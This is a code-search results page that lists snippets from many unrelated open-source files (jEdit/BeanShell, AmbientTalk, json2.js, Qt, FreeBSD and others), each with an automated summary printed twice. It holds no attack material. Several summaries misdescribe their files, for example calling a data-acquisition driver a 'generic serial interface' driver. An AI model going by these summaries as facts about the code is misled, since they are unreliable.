that manages the loading of classes for a BeanShell scripting environment. It provides methods to add and remove listeners, reload classes, and set an external class loader. The class also maintains caches of loaded classes and provides methods to clear these caches.
This Java code defines a class called BshClassManager
that manages the loading of classes for a BeanShell scripting environment. It provides methods to add and remove listeners, reload classes, and set an external class loader. The class also maintains caches of loaded classes and provides methods to clear these caches.
simple-macros.xml (https://jedit.svn.sourceforge.net/svnroot/jedit) XML · 720 lines
642 <para>
643 <guimenu>Utilities</guimenu>><guisubmenu>BeanShell</guisubmenu>><guimenuitem>Evaluate BeanShell
644 Expression</guimenuitem> displays a text input dialog
645 that asks you to type a single line of BeanShell commands. You can type
654 <para>
655 <guimenu>Utilities</guimenu>><guisubmenu>BeanShell</guisubmenu>><guimenuitem>Evaluate For Selected
656 Lines</guimenuitem> displays a text input dialog that asks you to
657 type a single line of BeanShell commands. The commands are evaluated
674 <para>
675 Try typing an expression like <userinput>(line + 1) + ": " + text</userinput>
676 in the <guimenuitem>Evaluate For Selected Lines</guimenuitem> dialog
677 box. This will add a line number to each selected line beginning with
678 the number <userinput>1</userinput>.
setenv.bsh (https://jedit.svn.sourceforge.net/svnroot/jedit) Unknown · 10 lines
Newton.java
(http://mycila.googlecode.com/svn/)
Java · 32 lines
✨ Summary
The provided Java code implements Newton’s method for finding roots and local minima of a twice-differentiable function. It uses two methods, root
and optimum
, to find values of x that make the function equal to zero (root
) or its derivative equal to zero (optimum
). The methods iteratively update the estimate of x until the desired precision is reached.
The provided Java code implements Newton’s method for finding roots and local minima of a twice-differentiable function. It uses two methods, root
and optimum
, to find values of x that make the function equal to zero (root
) or its derivative equal to zero (optimum
). The methods iteratively update the estimate of x until the desired precision is reached.
DelayedEvalBshMethod.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 107 lines
✨ Summary
This Java class, DelayedEvalBshMethod
, extends BshMethod
and is used to represent a method in a BeanShell script that can be delayed for evaluation until its type parameters are requested. It holds information about the method’s return type descriptor, parameter types, and provides methods to evaluate these types when needed.
This Java class, DelayedEvalBshMethod
, extends BshMethod
and is used to represent a method in a BeanShell script that can be delayed for evaluation until its type parameters are requested. It holds information about the method’s return type descriptor, parameter types, and provides methods to evaluate these types when needed.
34 package bsh;
36 public class DelayedEvalBshMethod extends BshMethod
37 {
38 String returnTypeDescriptor;
41 BSHFormalParameters paramTypesNode;
43 // used for the delayed evaluation...
44 transient CallStack callstack;
45 transient Interpreter interpreter;
48 This constructor is used in class generation. It supplies String type
49 descriptors for return and parameter class types and allows delay of
50 the evaluation of those types until they are requested. It does this
51 by holding BSHType nodes, as well as an evaluation callstack, and
56 current namespace or perhaps BshClassManager here instead of
57 CallStack and Interpreter. However let's just play it safe in case
58 of future changes - anywhere you eval a node you need these.
59 */
60 DelayedEvalBshMethod(
jedit_gui.props (https://jedit.svn.sourceforge.net/svnroot/jedit) MSBuild · 2181 lines
python.xml (https://jedit.svn.sourceforge.net/svnroot/jedit) XML · 42 lines
slime-indentation.el
(https://bitbucket.org/sakito/dot.emacs.d/)
Emacs Lisp · 0 lines
✨ Summary
This Emacs Lisp code defines a module for indentation management, specifically for Common Lisp and CLC (Common Lisp Compiler). It provides functions to define custom indentation methods, handle mode-specific and local indentation, and support various CL constructs such as CLOS and conditionals. The code also includes documentation and compatibility with existing lisp-indent functionality.
This Emacs Lisp code defines a module for indentation management, specifically for Common Lisp and CLC (Common Lisp Compiler). It provides functions to define custom indentation methods, handle mode-specific and local indentation, and support various CL constructs such as CLOS and conditionals. The code also includes documentation and compatibility with existing lisp-indent functionality.
65 ;; This file delivers highly configurable indentation of Lisp code.
66 ;; Eval (cl-indent) to use this indentation for a specific file,
67 ;; (setq lisp-indent-function 'cl-indent:function) to use it for all
68 ;; Lisp files.
154 May also be used as hook function, e.g., in lisp-mode-hook.
155 If you want to do use this indentation for all Lisp buffers, incl.
156 Emacs Lisp code, simply eval
157 (setq lisp-indent-function 'cl-indent:function)
158 You might want to do this in some setup file, e.g., in ~/.emacs ."
997 The car of SPEC is the symbol for which the indentation shall be specified.
998 If the cdr is a symbol, then this symbol shall be indented like
999 the other symbol is indented _currently_ (i.e., eager evaluation is
1000 used, not lazy evaluation).
json2.js
(https://code.google.com/p/chirpradio/)
JavaScript · 483 lines
✨ Summary
This JavaScript code implements a JSON (JavaScript Object Notation) parser and serializer, allowing for easy conversion between JSON strings and JavaScript objects. It defines functions to parse JSON text into JavaScript objects and serialize JavaScript objects into JSON strings, handling various edge cases and syntax errors along the way.
This JavaScript code implements a JSON (JavaScript Object Notation) parser and serializer, allowing for easy conversion between JSON strings and JavaScript objects. It defines functions to parse JSON text into JavaScript objects and serialize JavaScript objects into JSON strings, handling various edge cases and syntax errors along the way.
454 // open brackets that follow a colon or comma or that begin the text. Finally,
455 // we look to see that the remaining characters are only whitespace or ']' or
456 // ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
458 if (/^[\],:{}\s]*$/.
461 replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
463 // In the third stage we use the eval function to compile the text into a
464 // JavaScript structure. The '{' operator is subject to a syntactic ambiguity
465 // in JavaScript: it can begin a block or an object literal. We wrap the text
466 // in parens to eliminate the ambiguity.
468 j = eval('(' + text + ')');
470 // In the optional fourth stage, we recursively walk the new structure, passing
InterpreterException.java
(http://ambienttalk.googlecode.com/svn/)
Java · 171 lines
✨ Summary
This Java code defines an InterpreterException
class that extends the built-in Exception
class. It provides a way to represent exceptions in AmbientTalk, a programming language, and includes features such as capturing the invocation stack, printing stack traces, and providing access to the underlying cause of the exception.
This Java code defines an InterpreterException
class that extends the built-in Exception
class. It provides a way to represent exceptions in AmbientTalk, a programming language, and includes features such as capturing the invocation stack, printing stack traces, and providing access to the underlying cause of the exception.
28 package edu.vub.at.exceptions;
30 import edu.vub.at.eval.InvocationStack;
31 import edu.vub.at.objects.ATObject;
32 import edu.vub.at.objects.ATTypeTag;
38 /**
39 * TODO tvcutsem Shouldn't we parameterize NATExceptions with an ATContext and possibly
40 * also an ATAbstractGrammar for evaluation errors. This allows the user to inspect
41 * both which expression was evaluated at exception-raising-time and allows him to inspect
OrderedMultipleDictionary.cs
(https://Silverlight.svn.codeplex.com/svn)
C# · 86 lines
✨ Summary
This C# class, OrderedMultipleDictionary
, is a dictionary that can store multiple values for the same key and sorts the values. It uses a binary tree data structure to efficiently manage its contents. The class provides methods to retrieve ranges of keys, largest and smallest values, and enumerators for the values in the dictionary.
This C# class, OrderedMultipleDictionary
, is a dictionary that can store multiple values for the same key and sorts the values. It uses a binary tree data structure to efficiently manage its contents. The class provides methods to retrieve ranges of keys, largest and smallest values, and enumerators for the values in the dictionary.
23 /// Initializes a new instance of the MultipleDictionary class.
24 /// </summary>
25 /// <param name="allowDuplicateValues">The parameter is not used.</param>
26 /// <param name="keyComparison">Key comparison class.</param>
27 /// <param name="valueComparison">Value comparison class.</param>
28 [SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "allowDuplicateValues", Justification = "Unused parameter exists for API compatibility.")]
29 public OrderedMultipleDictionary(bool allowDuplicateValues, Comparison<TKey> keyComparison, Comparison<TValue> valueComparison)
NodeValueTime.java
(http://androjena.googlecode.com/svn/trunk/)
Java · 76 lines
✨ Summary
This Java code defines a class NodeValueTime
that extends NodeValue
. It represents an XSD Date value, which is distinct from XSD DateTime in the datatype hierarchy. The class has methods to validate and manipulate the date value, including checking for invalid dates and creating a node representation of the value.
This Java code defines a class NodeValueTime
that extends NodeValue
. It represents an XSD Date value, which is distinct from XSD DateTime in the datatype hierarchy. The class has methods to validate and manipulate the date value, including checking for invalid dates and creating a node representation of the value.
4 */
6 package com.hp.hpl.jena.sparql.expr.nodevalue;
8 import com.hp.hpl.jena.datatypes.xsd.XSDDatatype;
10 import com.hp.hpl.jena.graph.Node;
11 import com.hp.hpl.jena.sparql.expr.ExprException;
12 import com.hp.hpl.jena.sparql.expr.NodeValue;
14 /** XSD Date (which is unrelated to XSD dateTime in the datatype hierarchy) */
16 public class NodeValueTime extends NodeValue
17 {
18 XSDDateTime time ;
AGAssignTable.java
(http://ambienttalk.googlecode.com/svn/)
Java · 105 lines
✨ Summary
This Java class implements a native implementation of an AG assignment table element, which is used to assign values to specific indices within a table. It provides methods for evaluating and quoting the expression, as well as printing its value in a human-readable format. The class extends another abstract grammar class and uses other classes from the same package to perform operations on tables and expressions.
This Java class implements a native implementation of an AG assignment table element, which is used to assign values to specific indices within a table. It provides methods for evaluating and quoting the expression, as well as printing its value in a human-readable format. The class extends another abstract grammar class and uses other classes from the same package to perform operations on tables and expressions.
64 /**
65 * To evaluate a table assignment, evaluate its table expression to a valid ATTable.
66 * Next, evaluate its index expression into a valid number.
67 * Finally, evaluate its value expression and assign the result to the proper index slot of the table.
68 *
69 * AGASSTABLE(tbl,idx,val).eval(ctx) =
70 * tbl.eval(ctx).atPut(idx.eval(ctx), val.eval(ctx))
71 *
72 * @return the value stored in the table
73 */
74 public ATObject meta_eval(ATContext ctx) throws InterpreterException {
75 ATTable tab = tblExp_.meta_eval(ctx).asTable();
QtScript.4.6.0.linux-gcc-ia32.txt (https://bitbucket.org/ultra_iter/qt-vtl.git) Plain Text · 2811 lines
process.hh
(git://github.com/ticking/self.git)
C++ Header · 368 lines
✨ Summary
This C++ header file appears to be part of a virtual machine (VM) implementation, specifically for the Self programming language. It provides functionality for managing processes, stacks, and memory allocation within the VM. The code includes functions for switching between different stack modes, handling preemption, and executing continuation functions on the VM stack.
This C++ header file appears to be part of a virtual machine (VM) implementation, specifically for the Self programming language. It provides functionality for managing processes, stacks, and memory allocation within the VM. The code includes functions for switching between different stack modes, handling preemption, and executing continuation functions on the VM stack.
JavaI18nUtil.java (https://bitbucket.org/nbargnesi/idea.git) Java · 344 lines
70 public static boolean mustBePropertyKey(@NotNull Project project,
71 @NotNull PsiLiteralExpression expression,
72 @NotNull Map<String, Object> annotationAttributeValues) {
73 final PsiElement parent = expression.getParent();
74 if (parent instanceof PsiVariable) {
75 final PsiAnnotation annotation = AnnotationUtil.findAnnotation((PsiVariable)parent, AnnotationUtil.PROPERTY_KEY);
76 if (annotation != null) {
77 return processAnnotationAttributes(annotationAttributeValues, annotation);
78 }
79 }
80 return isPassedToAnnotatedParam(project, expression, AnnotationUtil.PROPERTY_KEY, annotationAttributeValues, null);
81 }
JavaInterfaceAdaptor.java
(http://ambienttalk.googlecode.com/svn/)
Java · 415 lines
✨ Summary
This Java code provides utility methods for converting between Java primitive types and AmbientTalk objects, as well as between AmbientTalk objects and each other. It handles conversions such as int
to NATNumber
, double
to NATFraction
, and boolean
to NATBoolean
.
This Java code provides utility methods for converting between Java primitive types and AmbientTalk objects, as well as between AmbientTalk objects and each other. It handles conversions such as int
to NATNumber
, double
to NATFraction
, and boolean
to NATBoolean
.
302 // double
303 } else if (jObj instanceof Double) {
304 return NATFraction.atValue(((Double) jObj).doubleValue());
305 // char
306 } else if (jObj instanceof Character) {
316 } else if (jObj instanceof Byte) {
317 return JavaObject.wrapperFor(jObj);
318 //return NATNumber.atValue(((Byte) jObj).byteValue());
319 // long
320 } else if (jObj instanceof Long) {
qpixmapdata_symbiangl.cpp (https://bitbucket.org/ultra_iter/qt-vtl.git) C++ · 836 lines
767 d = m_source.depth();
768 } else if (type == QPixmapData::VolatileImage && pixmap) {
769 // Support QS60Style in more efficient skin graphics retrieval.
770 QVolatileImage *img = static_cast<QVolatileImage *>(pixmap);
771 if (img->width() == w && img->height() == h)
780 destroyTexture();
781 nativeImageHandleProvider = static_cast<QNativeImageHandleProvider *>(pixmap);
782 // Cannot defer the retrieval, we need at least the size right away.
783 createFromNativeImageHandleProvider();
784 }
scheme.xml (https://jedit.svn.sourceforge.net/svnroot/jedit) XML · 237 lines
kcomedilib_main.c
(http://omnia2droid.googlecode.com/svn/trunk/)
C · 561 lines
✨ Summary
This C code implements a device driver for a generic serial interface, providing a framework for managing multiple devices and handling various ioctl operations such as locking, canceling, polling, mapping, and unmapping. It provides a flexible way to register callback functions and handle asynchronous operations. The code is designed to be portable across different platforms.
This C code implements a device driver for a generic serial interface, providing a framework for managing multiple devices and handling various ioctl operations such as locking, canceling, polling, mapping, and unmapping. It provides a flexible way to register callback functions and handle asynchronous operations. The code is designed to be portable across different platforms.
Os.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 426 lines
✨ Summary
This Java class provides a way to determine and manipulate environment variables on different operating systems. It checks the system’s family (e.g., Windows, Linux) and uses specific commands to retrieve and set environment variables. The class also handles exceptions and edge cases, such as OS/2 and MAC OS 9.
This Java class provides a way to determine and manipulate environment variables on different operating systems. It checks the system’s family (e.g., Windows, Linux) and uses specific commands to retrieve and set environment variables. The class also handles exceptions and edge cases, such as OS/2 and MAC OS 9.
Evaluator.java
(http://ambienttalk.googlecode.com/svn/)
Java · 533 lines
✨ Summary
This Java code is part of a programming language implementation, specifically for the AmbientTalk language. It provides utility methods and classes to manage the language’s environment, including global scopes, namespaces, packages, and exceptions. The code also handles class names, object representation, and error handling, making it a crucial component of the AmbientTalk runtime system.
This Java code is part of a programming language implementation, specifically for the AmbientTalk language. It provides utility methods and classes to manage the language’s environment, including global scopes, namespaces, packages, and exceptions. The code also handles class names, object representation, and error handling, making it a crucial component of the AmbientTalk runtime system.
59 /**
60 * The Evaluator class serves as a repository for auxiliary evaluation methods.
61 *
62 * @author tvc
189 * (actual arg: ATObject)*
190 *
191 * @deprecated use partial evalation using {@link PartialBinder#bind(ATObject[], ATContext, edu.vub.at.eval.PartialBinder.BindClosure)} instead.
192 *
193 * @param funnam the name of the function for which to bind these elements, for debugging purposes only
304 * Bind all of the given parameters as newly defined slots in the given scope to the given arguments.
305 * The scope is defined as the lexical scope of the given context.
306 * @deprecated use partial evalation using {@link PartialBinder#bind(ATObject[], ATContext, edu.vub.at.eval.PartialBinder.BindClosure)} instead.
307 */
308 public static final void defineParamsForArgs(String funnam, ATContext context, ATTable parameters, ATTable arguments) throws InterpreterException {
bsh.jjt (https://jedit.svn.sourceforge.net/svnroot/jedit) Unknown · 1381 lines
211 SINGLE_LINE_COMMENT includes a hack to accept SLC at the end of a file
212 with no terminanting linefeed. This is actually illegal according to
213 spec, but comes up often enough to warrant it... (especially in eval()).
214 */
215 <SINGLE_LINE_COMMENT: "//" (~["\n","\r"])* ("\n"|"\r"|"\r\n")? >
ConsoleBeanShell.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 97 lines
✨ Summary
This Java code defines a ConsoleBeanShell
class that executes commands in jEdit’s BeanShell interpreter. It provides methods for printing information messages, executing commands, stopping the console, and waiting for user input. The class is designed to work with jEdit’s console interface, allowing users to interact with the BeanShell interpreter from within the editor.
This Java code defines a ConsoleBeanShell
class that executes commands in jEdit’s BeanShell interpreter. It provides methods for printing information messages, executing commands, stopping the console, and waiting for user input. The class is designed to work with jEdit’s console interface, allowing users to interact with the BeanShell interpreter from within the editor.
25 //{{{ Imports
26 import bsh.EvalError;
27 import bsh.NameSpace;
28 import java.io.PrintWriter;
59 ns.setVariable("console",console);
60 ns.setVariable("output",output);
61 Object retVal = BeanShell._eval(view,
62 BeanShell.getNameSpace(),command);
65 {
66 ns.setVariable("retVal",retVal);
67 BeanShell._eval(view,BeanShell.getNameSpace(),
68 "print(retVal);");
69 ns.setVariable("retVal",null);
WorkRequest.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 132 lines
✨ Summary
This Java class, WorkRequest
, is a subclass of Runnable
that provides a way to manage progress updates and status changes for a thread. It allows setting whether a request can be aborted, updating progress values, and setting maximum progress values, all while adapting to large values by dividing them by 1024.
This Java class, WorkRequest
, is a subclass of Runnable
that provides a way to manage progress updates and status changes for a thread. It allows setting whether a request can be aborted, updating progress values, and setting maximum progress values, all while adapting to large values by dividing them by 1024.
35 * @since jEdit 4.3pre3
36 */
37 private boolean largeValues;
39 /**
94 if(thread instanceof WorkThread)
95 {
96 if (largeValues)
97 {
98 ((WorkThread)thread).setProgressValue((int) (value >> 10));
119 if (value > Integer.MAX_VALUE)
120 {
121 largeValues = true;
122 ((WorkThread)thread).setProgressMaximum((int) (value >> 10));
123 }
BSHBinaryExpression.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 228 lines
✨ Summary
This Java class implements binary expressions for a scripting language, specifically handling instanceof and boolean operations. It evaluates the left-hand side of an expression, determines its type, and then performs the specified operation on the left-hand side and right-hand side based on their types. The result is returned as a Primitive object.
This Java class implements binary expressions for a scripting language, specifically handling instanceof and boolean operations. It evaluates the left-hand side of an expression, determines its type, and then performs the specified operation on the left-hand side and right-hand side based on their types. The result is returned as a Primitive object.
47 BSHBinaryExpression(int id) { super(id); }
49 public Object eval( CallStack callstack, Interpreter interpreter)
50 throws EvalError
51 {
52 Object lhs = ((SimpleNode)jjtGetChild(0)).eval(callstack, interpreter);
54 /*
66 // primitive (number or void) cannot be tested for instanceof
67 if (lhs instanceof Primitive)
68 throw new EvalError("Cannot be instance of primitive type." );
69 */
70 /*
91 /*
92 Look ahead and short circuit evaluation of the rhs if:
93 we're a boolean AND and the lhs is false.
94 */
ellint_3.html
(http://hadesmem.googlecode.com/svn/trunk/)
HTML · 0 lines
✨ Summary
This HTML code outputs a documentation page for a mathematical function, specifically the elliptic integral of the third kind. It provides information on the function’s properties, usage, and implementation details, including its relation to Carlson’s integrals. The page includes equations, diagrams, and references to external resources, such as the Boost Software License.
This HTML code outputs a documentation page for a mathematical function, specifically the elliptic integral of the third kind. It provides information on the function’s properties, usage, and implementation details, including its relation to Carlson’s integrals. The page includes equations, diagrams, and references to external resources, such as the Boost Software License.
BSHTryStatement.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 154 lines
✨ Summary
BSHTryStatement Class Explanation
The BSHTryStatement
class represents a try-catch block in a BeanShell script. It evaluates the contents of the try block, catches any resulting errors, and executes corresponding catch blocks if an exception is thrown. The finally block is also executed after all catch blocks have been handled. If no match is found, the original error is re-thrown upward.
BSHTryStatement Class Explanation
The BSHTryStatement
class represents a try-catch block in a BeanShell script. It evaluates the contents of the try block, catches any resulting errors, and executes corresponding catch blocks if an exception is thrown. The finally block is also executed after all catch blocks have been handled. If no match is found, the original error is re-thrown upward.
44 }
46 public Object eval( CallStack callstack, Interpreter interpreter)
47 throws EvalError
74 /*
75 Evaluate the contents of the try { } block and catch any resulting
76 TargetErrors generated by the script.
77 We save the callstack depth and if an exception is thrown we pop
84 int callstackDepth = callstack.depth();
85 try {
86 ret = tryBlock.eval(callstack, interpreter);
87 }
88 catch( TargetError e ) {
111 // should cache this subject to classloader change message
112 fp.eval( namespace );
114 // If the param is typed check assignability
Collation.cpp (git://pkgs.fedoraproject.org/firebird) C++ · 949 lines
209 private:
210 Firebird::LikeEvaluator<CharType> evaluator;
211 };
308 fb_assert(pl % sizeof(CharType) == 0);
309 fb_assert(sl % sizeof(CharType) == 0);
310 Firebird::ContainsEvaluator<CharType> evaluator(pool,
311 reinterpret_cast<const CharType*>(p), pl / sizeof(CharType));
312 evaluator.processNextChunk(reinterpret_cast<const CharType*>(s), sl / sizeof(CharType));
316 private:
317 Firebird::ContainsEvaluator<CharType> evaluator;
318 };
sh.time.c
(https://bitbucket.org/freebsd/freebsd-head/)
C · 741 lines
✨ Summary
This C code generates a human-readable representation of system resource usage statistics, such as CPU time, memory usage, and disk activity, in a format similar to top
or htop
. It displays the current values for various metrics, along with their changes since the last update, in a simple text-based output.
This C code generates a human-readable representation of system resource usage statistics, such as CPU time, memory usage, and disk activity, in a format similar to top
or htop
. It displays the current values for various metrics, along with their changes since the last update, in a simple text-based output.
60 static void tvadd (timeval_t *, timeval_t *);
61 static void pdeltat (timeval_t *, timeval_t *);
62 #endif /* BSDTIMES || _SEQUENT_ */
276 void
277 prusage(struct sysrusage *r0, struct sysrusage *r1, timeval_t *e, timeval_t *b)
279 #else /* BSDTIMES */
683 #if defined(BSDTIMES) || defined(_SEQUENT_)
684 static void
685 pdeltat(timeval_t *t1, timeval_t *t0)
686 {
687 timeval_t td;
703 void
704 tvsub(timeval_t *tdiff, timeval_t *t1, timeval_t *t0)
705 {
aclocal.m4
(https://bitbucket.org/freebsd/freebsd-head/)
m4 · 905 lines
✨ Summary
This M4 code is a collection of configuration and build scripts for a C library, likely the GNU Binutils. It sets up various macros and functions for building and testing the library, including support for different tar formats, gettext, and other dependencies. The script also includes several external M4 files that provide additional functionality.
This M4 code is a collection of configuration and build scripts for a C library, likely the GNU Binutils. It sets up various macros and functions for building and testing the library, including support for different tar formats, gettext, and other dependencies. The script also includes several external M4 files that provide additional functionality.
520 [ --enable-maintainer-mode enable make rules and dependencies not useful
521 (and sometimes confusing) to the casual installer],
522 USE_MAINTAINER_MODE=$enableval,
523 USE_MAINTAINER_MODE=no)
524 AC_MSG_RESULT([$USE_MAINTAINER_MODE])
609 [AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
610 test x"${MISSING+set}" = xset || MISSING="\${SHELL} $am_aux_dir/missing"
611 # Use eval to expand $SHELL
612 if eval "$MISSING --run true"; then
875 mkdir conftest.dir
876 echo GrepMe > conftest.dir/file
877 AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar])
878 rm -rf conftest.dir
879 if test -s conftest.tar; then
BSHAllocationExpression.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 188 lines
✨ Summary
This Java code defines a class BSHAllocationExpression
that handles object and array allocation in BeanShell, a JavaScript-like scripting language for Java. It parses expressions like new MyClass()
or new int[10]
, determines the type of allocation (object or array), and then performs the allocation using reflection or array creation methods.
This Java code defines a class BSHAllocationExpression
that handles object and array allocation in BeanShell, a JavaScript-like scripting language for Java. It parses expressions like new MyClass()
or new int[10]
, determines the type of allocation (object or array), and then performs the allocation using reflection or array creation methods.
45 BSHAllocationExpression(int id) { super(id); }
47 public Object eval( CallStack callstack, Interpreter interpreter)
48 throws EvalError
74 CallStack callstack, Interpreter interpreter
75 )
76 throws EvalError
77 {
78 NameSpace namespace = callstack.top();
81 /* toClass throws this
82 if (type == null)
83 throw new EvalError(
84 "Class " + nameNode.getName(namespace) + " not found.", this);
85 */
87 Object[] args = argumentsNode.getArguments(callstack, interpreter);
88 if(args == null)
89 throw new EvalError("Trying to new a class...?", this);
91 // Is an inner class style object allocation
CatalogManager.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 640 lines
✨ Summary
This Java code manages XML catalogs and resources for a text editor, specifically JEdit. It loads and parses catalog files, handles resource downloads, and updates the catalog when the user changes a file on disk. The code uses a custom Entry
class to represent XML entries and a VFSUpdateHandler
component to reload catalogs when files are modified.
This Java code manages XML catalogs and resources for a text editor, specifically JEdit. It loads and parses catalog files, handles resource downloads, and updates the catalog when the user changes a file on disk. The code uses a custom Entry
class to represent XML entries and a VFSUpdateHandler
component to reload catalogs when files are modified.
UtilTargetError.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 74 lines
✨ Summary
This Java code defines a custom exception class UtilTargetError
that extends UtilEvalError
. It represents an error that occurs when a utility or other class throws an exception without having access to its caller context (Node). The class has two constructors and overrides the toEvalError
method to create a new instance of TargetError
.
This Java code defines a custom exception class UtilTargetError
that extends UtilEvalError
. It represents an error that occurs when a utility or other class throws an exception without having access to its caller context (Node). The class has two constructors and overrides the toEvalError
method to create a new instance of TargetError
.
40 available to it. See UtilEvalError for an explanation of the difference
41 between UtilEvalError and EvalError.
42 <p>
44 @see UtilEvalError
45 */
46 public class UtilTargetError extends UtilEvalError
60 Override toEvalError to throw TargetError type.
61 */
62 public EvalError toEvalError(
63 String msg, SimpleNode node, CallStack callstack )
64 {
ConditionalExpression.java
(https://jedit.svn.sourceforge.net/svnroot/jedit)
Java · 70 lines
✨ Summary
This Java class represents a ConditionalExpression, which is an operator expression that evaluates to true if a condition is met and false otherwise. It has three main components: a boolean condition, a value to return if true, and a value to return if false. The class provides methods for getting variables used in the expression, modified by it, and outside of it.
This Java class represents a ConditionalExpression, which is an operator expression that evaluates to true if a condition is met and false otherwise. It has three main components: a boolean condition, a value to return if true, and a value to return if false. The class provides methods for getting variables used in the expression, modified by it, and outside of it.
perlkw.swg (https://swig.svn.sourceforge.net/svnroot/swig) Unknown · 252 lines
ambientrefs.at (http://ambienttalk.googlecode.com/svn/) Unknown · 708 lines
40 * to a set of objects, known as its reach. The reach can be described
41 * by means of a type tag or protocol (and optionally a filter).
42 * The filter MUST be serialisable, as it is sent to remote clients for remote evaluation!
43 *
44 * Messages can be sent to one or all objects in range.
99 * Implementation-wise:
100 * Important optimization: change the MOP of createMessage to return a residual function
101 * Then, using partial evaluation, we can construct an optimized message constructor
102 * that attaches the different types as indices into a table for quick dispatch
103 * ('virtual function tables' for AR messages via partial evaluation!)
ATMultiAssignment.java
(http://ambienttalk.googlecode.com/svn/)
Java · 63 lines
✨ Summary
This Java interface defines a multi-assignment AG element, which is used to split up tables using splicing in the left-hand expression. It specifies that the left-hand side must be a literal table and allows slicing at the end. The right-hand side can be any valid AmbientTalk expression that evaluates to a native table.
This Java interface defines a multi-assignment AG element, which is used to split up tables using splicing in the left-hand expression. It specifies that the left-hand side must be a literal table and allows slicing at the end. The right-hand side can be any valid AmbientTalk expression that evaluates to a native table.
hadoop-ec2-init-remote.sh (https://github.com/andy327/bixo.git) Shell · 530 lines
Node.java
(https://code.google.com/p/plovr/)
Java · 0 lines
✨ Summary
This Java code is part of a JavaScript parser, specifically designed to generate a string representation of an abstract syntax tree (AST) for a JavaScript program. It recursively traverses the AST and appends information about each node’s properties, such as its type, value, and line number, to a string buffer.
This Java code is part of a JavaScript parser, specifically designed to generate a string representation of an abstract syntax tree (AST) for a JavaScript program. It recursively traverses the AST and appends information about each node’s properties, such as its type, value, and line number, to a string buffer.
_normal.user.js
(http://game-golem.googlecode.com/svn/trunk/)
JavaScript · 33 lines
✨ Summary
This UserScript for Facebook’s Castle Age game automatically logs in and plays on behalf of the user, using a pre-existing script called GameGolem.js. It retrieves the necessary data from local storage and appends the script to the page’s head section, allowing it to automate gameplay without requiring manual input.
This UserScript for Facebook’s Castle Age game automatically logs in and plays on behalf of the user, using a pre-existing script called GameGolem.js. It retrieves the necessary data from local storage and appends the script to the page’s head section, allowing it to automate gameplay without requiring manual input.
7 // @include http://apps.facebook.com/castle_age/*
8 // @include https://apps.facebook.com/castle_age/*
9 // @include http://web3.castleagegame.com/castle_ws/index.php
10 // @resource golem http://game-golem.googlecode.com/svn/trunk/GameGolem.js
11 // @resource stylesheet http://game-golem.googlecode.com/svn/trunk/golem.css
12 // ==/UserScript==
13 // @disabled-include http://apps.facebook.com/reqs.php
14 // @disabled-include https://apps.facebook.com/reqs.php
22 if (/^golem\./i.test((b = GM_getValue(a)))) {
23 localStorage.setItem(a, b)
24 GM_deleteValue(a);
25 }
26 }
dhd_common.c
(http://omnia2droid.googlecode.com/svn/trunk/)
C · 1733 lines
✨ Summary
This C code snippet appears to be part of a wireless networking driver, specifically related to Wi-Fi scanning and management. It provides functions for requesting Wi-Fi scans, deleting BSS (Basic Service Set) entries, and retrieving partial scan results. The code also handles various error conditions and manages internal data structures, such as the iscan_chain
buffer.
This C code snippet appears to be part of a wireless networking driver, specifically related to Wi-Fi scanning and management. It provides functions for requesting Wi-Fi scans, deleting BSS (Basic Service Set) entries, and retrieving partial scan results. The code also handles various error conditions and manages internal data structures, such as the iscan_chain
buffer.
7 * agreement governing use of this software, this software is licensed to you
8 * under the terms of the GNU General Public License version 2 (the "GPL"),
9 * available at http://www.broadcom.com/licenses/GPLv2.php, with the
10 * following added to such license:
11 *
312 }
314 /* Store the status of a connection attempt for later retrieval by an iovar */
315 void
316 dhd_store_conn_status(uint32 event, uint32 status, uint32 reason)
SampleGenerators.cs
(https://Silverlight.svn.codeplex.com/svn)
C# · 293 lines
✨ Summary
This C# code generates various chart samples using a Chart
class, which is likely part of a larger application. It creates multiple charts with different data sources and bindings, wrapping each chart in a grid for display. The code uses a Scenario
class to define the characteristics of each chart sample, including title, items source, dependent value binding, and independent value binding.
This C# code generates various chart samples using a Chart
class, which is likely part of a larger application. It creates multiple charts with different data sources and bindings, wrapping each chart in a grid for display. The code uses a Scenario
class to define the characteristics of each chart sample, including title, items source, dependent value binding, and independent value binding.
119 /// <param name="panel">Panel to add the generated Charts to.</param>
120 /// <param name="seriesConstructor">Function that returns a Series instance for each sample.</param>
121 public static void GenerateValueSeriesSamples(Panel panel, Func<Series> seriesConstructor)
122 {
123 Scenario[] scenarios = new Scenario[]
149 /// <param name="panel">Panel to add the generated Charts to.</param>
150 /// <param name="seriesConstructor">Function that returns a Series instance for each sample.</param>
151 public static void GenerateValueValueSeriesSamples(Panel panel, Func<Series> seriesConstructor)
152 {
153 List<Point> circle = new List<Point>();
168 /// <param name="panel">Panel to add the generated Charts to.</param>
169 /// <param name="seriesConstructor">Function that returns a Series instance for each sample.</param>
170 public static void GenerateDateTimeValueSeriesSamples(Panel panel, Func<Series> seriesConstructor)
171 {
172 Scenario[] scenarios = new Scenario[]
CallerGxp.gxp (http://gxp.googlecode.com/svn/trunk/) text · 0 lines
basic_concepts.html
(http://hadesmem.googlecode.com/svn/trunk/)
HTML · 0 lines
✨ Summary
This HTML code outputs a documentation page for the Boost library, specifically its parser framework. It provides an overview of the framework’s features and usage examples, including semantic actions that can be attached to parsers to perform transformations on the input data. The page includes links to other resources and a copyright notice.
This HTML code outputs a documentation page for the Boost library, specifically its parser framework. It provides an overview of the framework’s features and usage examples, including semantic actions that can be attached to parsers to perform transformations on the input data. The page includes links to other resources and a copyright notice.
260 returning a match object. The primary function of the match object is to
261 report parsing success (or failure) back to the parser's caller; i.e., it
262 evaluates to true if the parse function is successful, false otherwise.
263 If the parse is successful, the match object may also be queried to
